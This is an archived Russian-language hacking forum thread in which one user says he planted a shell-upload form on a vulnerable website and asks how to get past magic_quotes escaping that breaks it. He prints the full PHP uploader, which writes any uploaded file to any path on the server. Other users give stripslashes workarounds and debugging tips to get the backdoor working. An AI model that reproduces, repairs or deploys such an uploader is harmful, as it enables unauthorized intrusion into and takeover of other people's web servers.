PDA

Просмотр полной версии : Возникли проблемы с magic_quotes


Jorge_
17.03.2009, 23:27
Загрузил на уязвимый сайт форму для загрузки шела, но вместо формы, вылетают ошибки вида:

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 8

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 9

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: ''' (ASCII=39) state=1 in /usr/local/www/blocks/block-form.php on line 10

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /usr/local/www/blocks/block-form.php on line 11

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/local/www/blocks/block-form.php on line 12

Сам скрипт формы:

<?php
if (!defined('BLOCK_FILE')) {
Header("Location: ../index.php");
exit;
}

$self = stripslashes($_SERVER['PHP_SELF']);
$docr = stripslashes($_SERVER['DOCUMENT_ROOT']);
$sern = stripslashes($_SERVER['SERVER_NAME']);
$tend = "</tr></form></table><br><br><br><br>";
if (!empty($_GET['ac'])) {$ac = stripslashes($_GET['ac']);}
elseif (!empty($_POST['ac'])) {$ac = stripslashes($_POST['ac']);}
else {$ac = "upload";}
switch($ac) {
case "upload":
echo <<<HTML
<table>
<form enctype=multipart/form-data action=$self method=POST>
<input type=hidden name=ac value=upload>
<tr>
<input size=5 name=file type=file></td>
</tr>
<tr>
<td><input size=10 value=$docr name=path type=text><input type=submit value=ОК></td>
$tend
HTML;
if (isset($_POST['path'])){
$uploadfile = stripslashes($_POST['path'].$_FILES['file']['name']);
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}

if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "Файл ".$_FILES['file']['name']." загружен";
} else {
print ("Не удаётся загрузить файл. Инф:\n");
print_r($_FILES);
}
}
break;
}
?>


На сервере установлено расширение magic_quotes_gpc.

Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?

imajo.ati
18.03.2009, 01:06
Интересующий вопрос: Как обойти принудительное экранирование кавычек и апострофов в скрипте?


if ( ini_get("magic_quotes_gpc") == 1 )
{
foreach ( $_GET as $id => $v ) $_GET[$id] = stripslashes($v);
foreach ( $_POST as $id => $v ) $_POST[$id] = stripslashes($v);
foreach ( $_COOKIE as $id => $v ) $_COOKIE[$id] = stripslashes($v);
}

Jorge_
18.03.2009, 01:31
if ( ini_get("magic_quotes_gpc") == 1 )
{
foreach ( $_GET as $id => $v ) $_GET[$id] = stripslashes($v);
foreach ( $_POST as $id => $v ) $_POST[$id] = stripslashes($v);
foreach ( $_COOKIE as $id => $v ) $_COOKIE[$id] = stripslashes($v);
}


К сожалению, не помогло.

В строках, везде где содержатся апострофы, принудительное экранирование так и не пропало.

imajo.ati
18.03.2009, 01:41
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']

Jorge_
18.03.2009, 01:46
скрипт куда-то инклудится? если нет константы BLOCK_FILE то он и не исполнится дальше 5й строчки

+ в скрипте много лишнего кода и неуместное применение функции stripslashes на переменные среды - которые не экранируются - а именно на
$_SERVER['PHP_SELF'] $_SERVER['DOCUMENT_ROOT'] $_SERVER['SERVER_NAME']

Да, на сайте используется система блоков.

На сервере с выключенным magic_quotes, скрипт работает без ошибок.

+ Спасибо, за хинт

imajo.ati
18.03.2009, 01:54
если файл подключается через include то функцию stripslashes и вообще все input данные надо обрабатывать в конечном файле - по крайней мере так написано было в той литературе, с помощью которой я знакомился с пхп.

попробуй изменить include на require и убери ото всюду функцию stripslashes заменив кодом из #3 сообщения, а так же попробуй заменить блок
<<<HTML
HTML;
на конструкцию echo "";

но скорее всего проблема в include

Pashkela
18.03.2009, 02:54
как как, вот так:


<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);

return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
?>

PaCo
18.03.2009, 02:59
2m0Hze если ты без иронии то (c)php.net - http://www.php.net/manual/ru/security.magicquotes.disabling.php

real_sm
05.10.2009, 17:13
Тем не менее, как разобрались?